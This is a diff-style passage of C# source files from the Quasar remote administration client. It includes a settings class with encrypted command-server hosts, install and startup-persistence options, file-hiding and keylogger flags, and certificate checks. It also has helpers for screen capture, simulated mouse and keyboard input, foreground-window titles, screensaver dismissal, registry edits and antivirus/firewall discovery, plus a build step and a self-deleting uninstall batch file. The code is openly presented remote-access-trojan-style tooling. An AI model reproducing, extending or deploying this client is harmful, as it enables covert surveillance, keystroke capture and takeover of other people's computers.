|
||||||
|
public static string VERSION = Application.ProductVersion;
|
||||||
|
public static string HOSTS = "localhost:4782;";
|
||||||
|
public static int RECONNECTDELAY = 500;
|
||||||
|
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
|
||||||
|
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
|
||||||
|
public static string SUBDIRECTORY = "Test";
|
||||||
|
public static string INSTALLNAME = "test.exe";
|
||||||
|
public static bool INSTALL = false;
|
||||||
|
public static bool STARTUP = false;
|
||||||
|
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
|
||||||
|
public static string STARTUPKEY = "Test key";
|
||||||
|
public static bool HIDEFILE = false;
|
||||||
|
public static bool ENABLELOGGER = false;
|
||||||
|
public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8";
|
||||||
|
public static string TAG = "DEBUG";
|
||||||
|
public static string LOGDIRECTORYNAME = "Logs";
|
||||||
|
public static string SERVERSIGNATURE = "";
|
||||||
|
public static string SERVERCERTIFICATESTR = "";
|
||||||
|
public static X509Certificate2 SERVERCERTIFICATE;
|
||||||
|
public static bool HIDELOGDIRECTORY = false;
|
||||||
|
public static bool HIDEINSTALLSUBDIRECTORY = false;
|
||||||
|
public static string INSTALLPATH = "";
|
||||||
|
public static string LOGSPATH = "";
|
||||||
|
public static bool UNATTENDEDMODE = true;
|
||||||
|
|
||||||
|
public static bool Initialize()
|
||||||
|
{
|
||||||
|
SetupPaths();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
public static string VERSION = "";
|
||||||
|
public static string HOSTS = "";
|
||||||
|
public static int RECONNECTDELAY = 5000;
|
||||||
|
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
|
||||||
|
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
|
||||||
|
public static string SUBDIRECTORY = "";
|
||||||
|
public static string INSTALLNAME = "";
|
||||||
|
public static bool INSTALL = false;
|
||||||
|
public static bool STARTUP = false;
|
||||||
|
public static string MUTEX = "";
|
||||||
|
public static string STARTUPKEY = "";
|
||||||
|
public static bool HIDEFILE = false;
|
||||||
|
public static bool ENABLELOGGER = false;
|
||||||
|
public static string ENCRYPTIONKEY = "";
|
||||||
|
public static string TAG = "";
|
||||||
|
public static string LOGDIRECTORYNAME = "";
|
||||||
|
public static string SERVERSIGNATURE = "";
|
||||||
|
public static string SERVERCERTIFICATESTR = "";
|
||||||
|
public static X509Certificate2 SERVERCERTIFICATE;
|
||||||
|
public static bool HIDELOGDIRECTORY = false;
|
||||||
|
public static bool HIDEINSTALLSUBDIRECTORY = false;
|
||||||
|
public static string INSTALLPATH = "";
|
||||||
|
public static string LOGSPATH = "";
|
||||||
|
public static bool UNATTENDEDMODE = false;
|
||||||
|
|
||||||
|
public static bool Initialize()
|
||||||
|
{
|
||||||
|
if (string.IsNullOrEmpty(VERSION)) return false;
|
||||||
|
var aes = new Aes256(ENCRYPTIONKEY);
|
||||||
|
TAG = aes.Decrypt(TAG);
|
||||||
|
VERSION = aes.Decrypt(VERSION);
|
||||||
|
HOSTS = aes.Decrypt(HOSTS);
|
||||||
|
SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
|
||||||
|
INSTALLNAME = aes.Decrypt(INSTALLNAME);
|
||||||
|
MUTEX = aes.Decrypt(MUTEX);
|
||||||
|
STARTUPKEY = aes.Decrypt(STARTUPKEY);
|
||||||
|
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
|
||||||
|
SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
|
||||||
|
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
|
||||||
|
SetupPaths();
|
||||||
|
return VerifyHash();
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void SetupPaths()
|
||||||
|
{
|
||||||
|
LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
|
||||||
|
INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool VerifyHash()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
|
||||||
|
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
|
||||||
|
Convert.FromBase64String(SERVERSIGNATURE));
|
||||||
|
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Helper
|
||||||
|
{
|
||||||
|
public static class DateTimeHelper
|
||||||
|
{
|
||||||
|
public static string GetLocalTimeZone()
|
||||||
|
{
|
||||||
|
var tz = TimeZoneInfo.Local;
|
||||||
|
var tzOffset = tz.GetUtcOffset(DateTime.Now);
|
||||||
|
var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
|
||||||
|
var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
|
||||||
|
return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
using System.IO;
|
||||||
|
using System.Runtime.Serialization.Json;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Helper
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Provides methods to serialize and deserialize JSON.
|
||||||
|
/// </summary>
|
||||||
|
public static class JsonHelper
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Serializes an object to the respectable JSON string.
|
||||||
|
/// </summary>
|
||||||
|
public static string Serialize<T>(T o)
|
||||||
|
{
|
||||||
|
var s = new DataContractJsonSerializer(typeof(T));
|
||||||
|
using (var ms = new MemoryStream())
|
||||||
|
{
|
||||||
|
s.WriteObject(ms, o);
|
||||||
|
return Encoding.UTF8.GetString(ms.ToArray());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Deserializes a JSON string to the specified object.
|
||||||
|
/// </summary>
|
||||||
|
public static T Deserialize<T>(string json)
|
||||||
|
{
|
||||||
|
var s = new DataContractJsonSerializer(typeof(T));
|
||||||
|
using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
|
||||||
|
{
|
||||||
|
return (T)s.ReadObject(ms);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Deserializes a JSON stream to the specified object.
|
||||||
|
/// </summary>
|
||||||
|
public static T Deserialize<T>(Stream stream)
|
||||||
|
{
|
||||||
|
var s = new DataContractJsonSerializer(typeof(T));
|
||||||
|
return (T)s.ReadObject(stream);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,197 @@
|
|||||||
|
using Quasar.Client.Utilities;
|
||||||
|
using System;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Helper
|
||||||
|
{
|
||||||
|
public static class NativeMethodsHelper
|
||||||
|
{
|
||||||
|
private const int INPUT_MOUSE = 0;
|
||||||
|
private const int INPUT_KEYBOARD = 1;
|
||||||
|
|
||||||
|
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
|
||||||
|
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
|
||||||
|
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
|
||||||
|
private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
|
||||||
|
private const uint MOUSEEVENTF_WHEEL = 0x0800;
|
||||||
|
private const uint KEYEVENTF_KEYDOWN = 0x0000;
|
||||||
|
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||||
|
|
||||||
|
public static uint GetLastInputInfoTickCount()
|
||||||
|
{
|
||||||
|
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
|
||||||
|
lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
|
||||||
|
lastInputInfo.dwTime = 0;
|
||||||
|
NativeMethods.GetLastInputInfo(ref lastInputInfo);
|
||||||
|
return lastInputInfo.dwTime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void DoMouseLeftClick(Point p, bool isMouseDown)
|
||||||
|
{
|
||||||
|
NativeMethods.INPUT[] inputs = {
|
||||||
|
new NativeMethods.INPUT
|
||||||
|
{
|
||||||
|
type = INPUT_MOUSE,
|
||||||
|
u = new NativeMethods.InputUnion
|
||||||
|
{
|
||||||
|
mi = new NativeMethods.MOUSEINPUT
|
||||||
|
{
|
||||||
|
dx = p.X,
|
||||||
|
dy = p.Y,
|
||||||
|
mouseData = 0,
|
||||||
|
dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
|
||||||
|
time = 0,
|
||||||
|
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void DoMouseRightClick(Point p, bool isMouseDown)
|
||||||
|
{
|
||||||
|
NativeMethods.INPUT[] inputs = {
|
||||||
|
new NativeMethods.INPUT
|
||||||
|
{
|
||||||
|
type = INPUT_MOUSE,
|
||||||
|
u = new NativeMethods.InputUnion
|
||||||
|
{
|
||||||
|
mi = new NativeMethods.MOUSEINPUT
|
||||||
|
{
|
||||||
|
dx = p.X,
|
||||||
|
dy = p.Y,
|
||||||
|
mouseData = 0,
|
||||||
|
dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
|
||||||
|
time = 0,
|
||||||
|
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void DoMouseMove(Point p)
|
||||||
|
{
|
||||||
|
NativeMethods.SetCursorPos(p.X, p.Y);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void DoMouseScroll(Point p, bool scrollDown)
|
||||||
|
{
|
||||||
|
NativeMethods.INPUT[] inputs = {
|
||||||
|
new NativeMethods.INPUT
|
||||||
|
{
|
||||||
|
type = INPUT_MOUSE,
|
||||||
|
u = new NativeMethods.InputUnion
|
||||||
|
{
|
||||||
|
mi = new NativeMethods.MOUSEINPUT
|
||||||
|
{
|
||||||
|
dx = p.X,
|
||||||
|
dy = p.Y,
|
||||||
|
mouseData = scrollDown ? -120 : 120,
|
||||||
|
dwFlags = MOUSEEVENTF_WHEEL,
|
||||||
|
time = 0,
|
||||||
|
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void DoKeyPress(byte key, bool keyDown)
|
||||||
|
{
|
||||||
|
NativeMethods.INPUT[] inputs = {
|
||||||
|
new NativeMethods.INPUT
|
||||||
|
{
|
||||||
|
type = INPUT_KEYBOARD,
|
||||||
|
u = new NativeMethods.InputUnion
|
||||||
|
{
|
||||||
|
ki = new NativeMethods.KEYBDINPUT
|
||||||
|
{
|
||||||
|
wVk = key,
|
||||||
|
wScan = 0,
|
||||||
|
dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
|
||||||
|
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||||
|
}
|
||||||
|
|
||||||
|
private const int SPI_GETSCREENSAVERRUNNING = 114;
|
||||||
|
|
||||||
|
public static bool IsScreensaverActive()
|
||||||
|
{
|
||||||
|
var running = IntPtr.Zero;
|
||||||
|
|
||||||
|
if (!NativeMethods.SystemParametersInfo(
|
||||||
|
SPI_GETSCREENSAVERRUNNING,
|
||||||
|
0,
|
||||||
|
ref running,
|
||||||
|
0))
|
||||||
|
{
|
||||||
|
// Something went wrong (Marshal.GetLastWin32Error)
|
||||||
|
}
|
||||||
|
|
||||||
|
return running != IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
|
||||||
|
private const uint DESKTOP_READOBJECTS = 0x0001;
|
||||||
|
private const int WM_CLOSE = 16;
|
||||||
|
private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
|
||||||
|
private const uint SPIF_SENDWININICHANGE = 0x0002;
|
||||||
|
|
||||||
|
public static void DisableScreensaver()
|
||||||
|
{
|
||||||
|
var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
|
||||||
|
false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
|
||||||
|
|
||||||
|
if (handle != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
|
||||||
|
{
|
||||||
|
if (NativeMethods.IsWindowVisible(hWnd))
|
||||||
|
NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
|
||||||
|
|
||||||
|
// Continue enumeration even if it fails
|
||||||
|
return true;
|
||||||
|
},
|
||||||
|
IntPtr.Zero);
|
||||||
|
NativeMethods.CloseDesktop(handle);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
|
||||||
|
}
|
||||||
|
|
||||||
|
// We need to restart the counter for next screensaver according to
|
||||||
|
// https://support.microsoft.com/en-us/kb/140723
|
||||||
|
// (this may not be needed since we simulate mouse click afterwards)
|
||||||
|
|
||||||
|
var dummy = IntPtr.Zero;
|
||||||
|
|
||||||
|
// Doesn't really matter if this fails
|
||||||
|
NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string GetForegroundWindowTitle()
|
||||||
|
{
|
||||||
|
StringBuilder sbTitle = new StringBuilder(1024);
|
||||||
|
|
||||||
|
NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
|
||||||
|
|
||||||
|
return sbTitle.ToString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,157 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Quasar.Common.Models;
|
||||||
|
using Quasar.Common.Utilities;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Helper
|
||||||
|
{
|
||||||
|
public static class RegistryKeyHelper
|
||||||
|
{
|
||||||
|
private static string DEFAULT_VALUE = String.Empty;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a value to the registry key.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||||
|
/// <param name="path">The path to the registry key.</param>
|
||||||
|
/// <param name="name">The name of the value.</param>
|
||||||
|
/// <param name="value">The value.</param>
|
||||||
|
/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
|
||||||
|
/// <returns>True on success, else False.</returns>
|
||||||
|
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true))
|
||||||
|
{
|
||||||
|
if (key == null) return false;
|
||||||
|
|
||||||
|
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
|
||||||
|
value = "\"" + value + "\"";
|
||||||
|
|
||||||
|
key.SetValue(name, value);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Opens a read-only registry key.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||||
|
/// <param name="path">The path to the registry key.</param>
|
||||||
|
/// <returns></returns>
|
||||||
|
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Deletes the specified value from the registry key.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||||
|
/// <param name="path">The path to the registry key.</param>
|
||||||
|
/// <param name="name">The name of the value to delete.</param>
|
||||||
|
/// <returns>True on success, else False.</returns>
|
||||||
|
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true))
|
||||||
|
{
|
||||||
|
if (key == null) return false;
|
||||||
|
key.DeleteValue(name, true);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if the provided value is the default value
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="valueName">The name of the value</param>
|
||||||
|
/// <returns>True if default value, else False</returns>
|
||||||
|
public static bool IsDefaultValue(string valueName)
|
||||||
|
{
|
||||||
|
return String.IsNullOrEmpty(valueName);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds the default value to the list of values and returns them as an array.
|
||||||
|
/// If default value already exists this function will only return the list as an array.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="values">The list with the values for which the default value should be added to</param>
|
||||||
|
/// <returns>Array with all of the values including the default value</returns>
|
||||||
|
public static RegValueData[] AddDefaultValue(List<RegValueData> values)
|
||||||
|
{
|
||||||
|
if(!values.Any(value => IsDefaultValue(value.Name)))
|
||||||
|
{
|
||||||
|
values.Add(GetDefaultValue());
|
||||||
|
}
|
||||||
|
return values.ToArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the default registry values
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A array with the default registry values</returns>
|
||||||
|
public static RegValueData[] GetDefaultValues()
|
||||||
|
{
|
||||||
|
return new[] {GetDefaultValue()};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
|
||||||
|
{
|
||||||
|
var newRegValue = new RegValueData {Name = name, Kind = kind};
|
||||||
|
|
||||||
|
if (value == null)
|
||||||
|
newRegValue.Data = new byte[] { };
|
||||||
|
else
|
||||||
|
{
|
||||||
|
switch (newRegValue.Kind)
|
||||||
|
{
|
||||||
|
case RegistryValueKind.Binary:
|
||||||
|
newRegValue.Data = (byte[]) value;
|
||||||
|
break;
|
||||||
|
case RegistryValueKind.MultiString:
|
||||||
|
newRegValue.Data = ByteConverter.GetBytes((string[]) value);
|
||||||
|
break;
|
||||||
|
case RegistryValueKind.DWord:
|
||||||
|
newRegValue.Data = ByteConverter.GetBytes((uint) (int) value);
|
||||||
|
break;
|
||||||
|
case RegistryValueKind.QWord:
|
||||||
|
newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value);
|
||||||
|
break;
|
||||||
|
case RegistryValueKind.String:
|
||||||
|
case RegistryValueKind.ExpandString:
|
||||||
|
newRegValue.Data = ByteConverter.GetBytes((string) value);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return newRegValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static RegValueData GetDefaultValue()
|
||||||
|
{
|
||||||
|
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
using System;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
using Quasar.Client.Utilities;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Helper
|
||||||
|
{
|
||||||
|
public static class ScreenHelper
|
||||||
|
{
|
||||||
|
private const int SRCCOPY = 0x00CC0020;
|
||||||
|
|
||||||
|
public static Bitmap CaptureScreen(int screenNumber)
|
||||||
|
{
|
||||||
|
Rectangle bounds = GetBounds(screenNumber);
|
||||||
|
Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb);
|
||||||
|
|
||||||
|
using (Graphics g = Graphics.FromImage(screen))
|
||||||
|
{
|
||||||
|
IntPtr destDeviceContext = g.GetHdc();
|
||||||
|
IntPtr srcDeviceContext = NativeMethods.CreateDC("DISPLAY", null, null, IntPtr.Zero);
|
||||||
|
|
||||||
|
NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X,
|
||||||
|
bounds.Y, SRCCOPY);
|
||||||
|
|
||||||
|
NativeMethods.DeleteDC(srcDeviceContext);
|
||||||
|
g.ReleaseHdc(destDeviceContext);
|
||||||
|
}
|
||||||
|
|
||||||
|
return screen;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Rectangle GetBounds(int screenNumber)
|
||||||
|
{
|
||||||
|
return Screen.AllScreens[screenNumber].Bounds;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
using Quasar.Common.Helpers;
|
||||||
|
using System;
|
||||||
|
using System.Management;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Helper
|
||||||
|
{
|
||||||
|
public static class SystemHelper
|
||||||
|
{
|
||||||
|
public static string GetUptime()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string uptime = string.Empty;
|
||||||
|
|
||||||
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'"))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject mObject in searcher.Get())
|
||||||
|
{
|
||||||
|
DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString());
|
||||||
|
TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks);
|
||||||
|
|
||||||
|
uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (string.IsNullOrEmpty(uptime))
|
||||||
|
throw new Exception("Getting uptime failed");
|
||||||
|
|
||||||
|
return uptime;
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string GetPcName()
|
||||||
|
{
|
||||||
|
return Environment.MachineName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string GetAntivirus()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string antivirusName = string.Empty;
|
||||||
|
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||||
|
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||||
|
string query = "SELECT * FROM AntivirusProduct";
|
||||||
|
|
||||||
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject mObject in searcher.Get())
|
||||||
|
{
|
||||||
|
antivirusName += mObject["displayName"].ToString() + "; ";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
antivirusName = StringHelper.RemoveLastChars(antivirusName);
|
||||||
|
|
||||||
|
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return "Unknown";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string GetFirewall()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string firewallName = string.Empty;
|
||||||
|
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||||
|
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||||
|
string query = "SELECT * FROM FirewallProduct";
|
||||||
|
|
||||||
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject mObject in searcher.Get())
|
||||||
|
{
|
||||||
|
firewallName += mObject["displayName"].ToString() + "; ";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
firewallName = StringHelper.RemoveLastChars(firewallName);
|
||||||
|
|
||||||
|
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return "Unknown";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8" ?>
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Target Name="ILRepacker" AfterTargets="CopyFilesToOutputDirectory" Condition="'$(Configuration)' == 'Release' And '$(DisableILRepack)' != 'true'">
|
||||||
|
<Exec Command='"ilrepack" /parallel /internalize /out:"$(TargetPath)" "$(TargetPath)" "$(TargetDir)protobuf-net.dll" "$(TargetDir)Quasar.Common.dll" "$(TargetDir)Gma.System.MouseKeyHook.dll" "$(TargetDir)AForge.dll" "$(TargetDir)AForge.Video.dll" "$(TargetDir)AForge.Video.DirectShow.dll"' />
|
||||||
|
</Target>
|
||||||
|
<Target Name="CopyWindows" AfterTargets="ILRepacker" Condition="'$(OS)' == 'Windows_NT' ">
|
||||||
|
<Exec Command='copy "$(TargetPath)" "$(TargetDir)client.bin" /Y' />
|
||||||
|
</Target>
|
||||||
|
<Target Name="CopyUnix" AfterTargets="ILRepacker" Condition="'$(OS)' != 'Windows_NT' ">
|
||||||
|
<Exec Command='cp "$(TargetPath)" "$(TargetDir)client.bin"' />
|
||||||
|
</Target>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
using Quasar.Common.Helpers;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Client.IO
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Provides methods to create batch files for application update, uninstall and restart operations.
|
||||||
|
/// </summary>
|
||||||
|
public static class BatchFile
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Creates the uninstall batch file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||||
|
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
|
||||||
|
public static string CreateUninstallBatch(string currentFilePath)
|
||||||
|
{
|
||||||
|
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||||
|
|
||||||
|
string uninstallBatch =
|
||||||
|
"@echo off" + "\r\n" +
|
||||||
|
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||||
|
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||||
|
"ping -n 10 localhost > nul" + "\r\n" +
|
||||||
|
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
|
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||||
|
|
||||||
|
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
|
||||||
|
